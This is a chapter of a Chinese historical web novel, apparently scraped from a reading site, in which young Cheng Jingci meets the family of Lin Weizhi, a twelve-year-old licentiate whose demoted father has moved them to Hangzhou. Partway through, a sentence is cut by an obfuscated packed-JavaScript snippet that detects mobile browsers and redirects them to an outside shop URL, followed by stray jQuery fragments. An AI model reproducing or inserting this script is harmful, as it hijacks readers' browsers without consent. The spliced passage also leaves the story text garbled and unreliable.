默认冷灰
24号文字
方正启体

1. 糯米巷

作者:是惟本书字数:K更新时间:
    糯米巷来了一户新人家!


    听闻这道消息时,小净慈趴在窗下,抓耳挠腮写大字。


    前几日,母亲要她读通八佾篇,她哪里读得下来?两句卡一句,一句卡半句,母亲那脸就生生拉下来,罚她抄书。


    净慈探头瞅帘后一眼,打算蹑手蹑脚溜走,王允君的声音懒懒响起:“不许跑。”


    “我实在是抄不完了。”净慈负气,“娘——”


    “一篇书要抄一侯,还不见你抄完,哪里背得下来?”


    “我又不考科举。”净慈驳道,“哪有七岁读八佾的?能背下来,那是今后的状元了。”


    “你啊。”


    王允君还要说,院落外响起惊天一声:“小姐——小姐——”


    圆滚滚的小清圆一路飞奔入屋,兴奋道:“夫人,小姐,糯米巷来了一户新人家,正在卸车呢。”


    清圆是净慈的伴吃伴睡伴学伴玩,带回家时是一位小小孤女。二人如今都是七岁多,清圆大两个月。


    王允君心善,叫她也养得白白胖胖、咋咋呼呼,闻言叹气:“来就来了,来了一户人家,又不是来一只灵兽,也要这样高呼进门。”


    “那许多人都在看呢。”清圆使劲冲净慈眨眨眼睛,“邬大娘说,这户人家是从京师来的,坐船要坐好久。”


    净慈就张嘴道:“哇!”


    王允君却坐起身,抬手拂开珠帘:“京师?”


    “正是。”清圆连忙道,“我瞧着,物什倒也不像许多,不过三辆车。女主人的箱箧多一些。说是郎主也要在杭州府做官,膝下只一独子,都没瞧见人。”


    净慈摸下巴:“未曾听爹说杭州要换知府啊。难道是布政司的大官?”


    清圆道:“大官也不会来住糯米巷吧!”


    王允君在她脑袋上拍了一下,谨慎道:“人到中年,从京师来杭州做官,可未必是什么好事。你们不许聒噪,待晚间郎主下值,我们问一问,再看要不要交际。”


    “好啦——”


    程净慈答应过就忘了。


    下午,王允君通常不押着她读书。她拉着清圆打开一条缝,见糯米巷人头攒动,眯起眼睛一笑,两道襦裙齐齐向外碎步跑去。


    “是哪一户?”


    “侧过去第二座小院,离我们可近。”清圆贴着墙走,“好像已经搬完了。”


    净慈拿双手圈圆看:“没看见人呀。”


    “哦哟——漪漪又被放出来了。”卖蓑衣饼的王二叫道,“今日又要去哪里闯祸?”


    净慈有自己的小字,清漪,取西湖清波之意,长大后写文章也好署名。年纪还小,父母邻里就只叫漪漪。


    “说什么呢你。”清圆抗议,“我家小姐今早起来,就一直在读书。”


    净慈叉腰,仰起头问:“我今日一直在背八佾篇!你知道八佾是什么吗?”


    王二哼一声道:“不知!可我知道,小娘子偷吃我那几个蓑衣饼,还没有拿钱来。下个月再不给,我去告诉你娘亲。”


    “王二叔——”


    清圆一扯净慈叫道:“门开了!”


    那小院果真开了半扇,一位女使和一位上了年纪的仆妇携手出来,说说笑笑,应当是要上街采买。


    净慈随手抓起一袋蓑衣饼,提裾就冲过去:“二位阿嬢留步!”


    王二在身后吼道:“程漪漪——”


    “阿嬢好。”净慈合手打招呼,热情道,“我是住在对街有一棵桃树那家的,你们刚来杭州府吗?”


    “啊……是。”女使有些费劲地回,弯腰温柔道,“小娘子,真是抱歉。我们还不大会听杭州话,你说慢些好吗?”


    旁边那位仆妇就显然是完全听不懂了。


    “无妨,我会说应天府音的官话。”净慈仰脸,“你家女主人在吗?我去同夫人照面,请她吃蓑衣饼呀。”


    “在,在。”女使让开,一笑,“那你去吧。我家夫人很和气的。”


    净慈又带着清圆埋头往里跑。


    这座院落和她家的格局很相似,不大,入内先是天井,一左一右两排双间厢房,正屋是二层明间,写着承裕堂的牌匾。


    净慈迈进屋内,窗下女子闻声回头,惊讶:“这是……”


    她看起来三十上下,眉眼清丽,面容白皙,着紫棱袄、比甲与玉色襦裙,模样十分温柔。


    程净慈喜欢好看的人,又一福身:“夫人好,我是净慈,桃树那棵人家的程净慈。我是糯米巷的大官,所以特地前来探望。”


    “糯米巷的大官?”女子失笑,“小小女娘,口气不小。”


    “请你们吃蓑衣饼。”净慈递出去,“夫人家的孩子呢?”


    赵淳熙笑起来,摸摸她的头:“我家只有一位小郎君,他在读书。”


    “那他可以跟我玩吗?”


    “怕是不行。”赵淳熙忍俊不禁,“他年岁是不大,却也十二了,你怕是只有六七岁吧?”


    “七岁。”净慈伸出一只手和两根手指,“我是二月初七的生辰——他搬家也要读书吗?”


    “我去叫他过来,跟你招呼一声。”赵淳熙笑道,“你且等一等。”


    她快步去东厢房,抬手敲门:“惟之。”


    片刻,门从里面打开。


    确是青涩少年模样,但身量已经颇为高挑,需要颔首向母亲示意,眉骨与鼻梁便留下一道垂落而连贯的弧,面容微微泛着冷玉般的白。


    “一位小娘子过来打照面,今后就是街坊,你去露一面,叫她认一认。”赵淳熙温和道,“父亲也说,叫我们同这巷子里的人家多走动。既来了杭州,今后日子总归要好好过。”


    被唤作惟之的少年又一颔首。


    净慈已自发爬上圈椅,两条小腿交替晃着,托腮等人来。很快见到夫人回来堂屋,身后那人却逆着光,又低着头,她一时看不清楚,歪了一下脑袋。


    赵淳熙接她下椅:“小净慈,这是我儿。尚无表字,你叫他惟之阿兄就是。”


    少年抬起脸来。


    净慈睁大眼睛。


    天呢,观音菩萨如来佛祖,世上竟还有这样好看的小郎君。他似乎没想到要会面的是这么一位小小娘子,轻蹙了眉,看向母亲。他做这个动作,她只看到那下颌的转动;倘若他不做,她就看那份明晰而熠然的眉眼。


    总之,她一眨也不眨地看着他。


    赵淳熙笑出声,她自然知道自家孩儿的容貌,拍一拍程净慈:“净慈?”


    “天呐。”


    净慈喃喃,走过去,襦裙那么一低,像极了一位乖巧礼貌的小娘子——却大胆牵起他的手,圆圆面孔朝他仰起,甜甜唤道:“小阿兄。”


    蔺惟之一怔,低头看她。


    “京师的人都这么好看吗?”她依旧盯着他,“我父亲也有自京师来的朋友,那位阿伯丑得很呢。”


    清圆低声:“小姐——”


    “我是程净慈,何处惹尘埃的净慈。母亲说,有学问的人,一听就知道是哪两个字。”她还不放手,只一味仰着脖颈,口中碎碎道,“我父亲是程棹程元宪,母亲是王夫人,我还有个兄长,去宁波府探亲了。你叫惟之?是怎么写的?”


    清圆倍感丢脸:“小姐——”


    赵淳熙憋笑:“惟一的惟。”


    蔺惟之安静望着她,过于无言以对,反倒显得平和。


    “你真好看、真好看。”净慈又道,“今后,我就叫你小阿兄。对了,你父亲也在杭州府做官?我父亲是布政司的都事,一个小官,不及我在糯米巷的名声大。”


    这话一出,赵淳熙有些意外。


    布政司掌管浙江全省事务,女孩口中说是小官,到底也不是寻常百姓家。何况——她低了一下眼眸,如今夫君被贬,也不过是个杭州府通判,真论品秩体面,未必比这女娘的父亲好。


    蔺惟之的袖口被她扯着,用了一下力,把手收回来,没有同她多说。年岁太小,又是女娘,他不能凶,却也实在无攀谈意。


    “你——”


    “程净慈!”


    当头一声怒喝,清圆吓得一抖。


    那女子健步如飞,从照壁后绕过来,迈入门槛时说着失礼失礼,伸手将净慈耳朵一拧:“你又来外面讨嫌!”


    “哪里,哪里。”赵淳熙见净慈耳朵变形,立刻出言同她见礼,“这位是王夫人?”


    “我这孩儿,一向在这街头巷尾无法无天。”王允君也与她问好,“你们今日才来,舟车劳顿,我想着明日过来照面的。不想我女儿到处乱窜,不曾给你添麻烦吧?”


    蔺惟之见到年长女眷,颔首时更礼貌些。王允君略略回应,目光落在方巾上,倒是一怔。


    “没有的事。”赵淳熙叫女使奉茶,“夫人请坐。我也是想着,过几日再同邻里走动。净慈开了这个头,我求之不得呢。”


    王允君自然而然又望向一旁的小郎君,这定睛再看,当真目露讶异


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468272|201341||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。程净慈心道,母亲也被好看到了?


    她回过身来,问的却是:“你家孩儿已是秀才了?”


    程净慈看不出,但她瞧这一身青色襕衫,又戴府学方巾,分明是生员打扮,非普通学子能用。再看身量与脸庞,倒拿不准年岁了:“这——十四五岁?身量是高,脸实在不像呐。”


    赵淳熙掩面笑道:“夫人看岔了。要再猜一次?”


    “家中有个会念书的神童,就这样拿乔。”王允君亦含笑,“十三岁?当真不能再小了!”


    “十二。”赵淳熙拍一拍儿子肩头,难藏欣慰,“去岁运气好,考的那四书文,他恰巧读过一些文章。老师起先说在顺天童试也不妨什么事,也不想竟真就一关关过了。好在那时过了,如今拿着廪米,都不必我同他父亲养。夫君说,过几日就要他去杭州府学上学呢,学政将文书转到浙江来,今后也和本地士子一样,考南卷。名额多一些,不吃亏的。”


    这也是惟之外祖的考量。


    近百年来,江南一带江河清洁,物产殷富,早不只是手工商贾兴盛,就连科举也是独占鳌头。若不是朝廷强分南北卷,南直隶和浙江籍贯士子怕要占一半。


    送惟之来此地进学,丝毫不会耽误前途,他这才力保女婿到的杭州。只是无论如何,从当朝左通政贬到小小通判,个中滋味也是可以料见了。再不出手帮忙保住独子前程,一家人都要心灰意冷。


    察觉王允君一直注视,蔺惟之又一低首,只不大说话,礼数是好的。


    “哎哟——这——”王允君一拍手心,“这——十一岁的秀才!夫人,你这是领了个做宰辅的材料来我们杭州啊。”


    “这话不消说,不消说。”赵淳熙摇头又摆手,“夫人,我同你一见如故,也不瞒你。我家郎主是被贬,好在我父亲在朝中有些声望,还能保他来杭州这样的好地方。这种话从前听得多,如今,我们家里真是不敢说了。”


    人家夫君在布政司做事,不可能不知道他家来历。这样主动说了,还能捞个信任的情分,今后也好互通有无。


    王允君闻言,怜惜拍拍她手:“原是这样。”


    她也有考量了。能被贬来杭州,想来也不是什么天大的过错,真惹圣上厌烦的都被打发去岭南了。现如今谁还不知道江南日子好过着?真恨之入骨,绝不叫来的。


    还同意这么一个长子保留生员身份,继续转来杭州府学念书。也不瞧瞧近百年来,南直隶和浙江出过多少状元啦?十个状元七个江南士子,杭州府学比起顺天根本没差。


    “无妨呀。”


    程净慈出声,抓起一只蓑衣饼,递进嘴里,又欢快道:“小阿兄不用难过。我们杭州府,那可是东南都会。也算天底下头一份的繁华盛景吧?好吃好玩的,不比京师少。”


    “你这——”


    “净慈说的在理。”赵淳熙望着她笑,神态宁静,“我自下船,也察觉杭州商贾云集,人流如织。与京师不同,倒更有市井人气。我是无妨的,说到底,天下诸事熙熙攘攘,只要一家人在一处,贬谪升迁无非职差,毁誉得失不过声名。我也是这么和惟之说。”


    王允君深以为然,又听她温文道:“他在顺天府学年纪最小,早早考中秀才遭人嫉恨,每日不是书箧被放小虫,就是书页折损,进家也不屑抱怨。到了杭州,正好换一些同窗。京师皇城根下,人人都挤破头,心眼也小,我瞧人心清净的地方,正好专心读些学问。倘若自怨自艾,反倒着了那些人的道。”


    这两段,就是刻意说给儿子听的了。蔺惟之又一颔首,他大约只会这样反应,不大喜欢直接说话。


    “我喜欢听夫人说这些道理。”王允君感慨,是真心话语,“你家这孩儿,还要如何?天底下都没有几个十一岁考中秀才的!杭州府怕是从没有过,不要过多忧虑前程。今后中举,想来也就是等年岁到了的事,届时再风风光光进京会试,兴许就是殿试进士及第,不必理会宵小眼光。”


    蔺惟之道谢,赵淳熙垂下脖颈。


    他像一道修长温凉的玉。


    程净慈笑眯眯看他,下了地,两只手捧在心口,再用力向两侧打开,双手合十,紧闭双眸,念念有词:“宵小退散!”


    两只小辫一摇一摇。


    赵淳熙失笑,王允君低笑道:“你不要在这里装神弄鬼。”


    她睁开眼,呆呆看他,却疑心是自己看错——他方才是飞快掠了她一眼,唇角又悄悄一扬么?是么?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)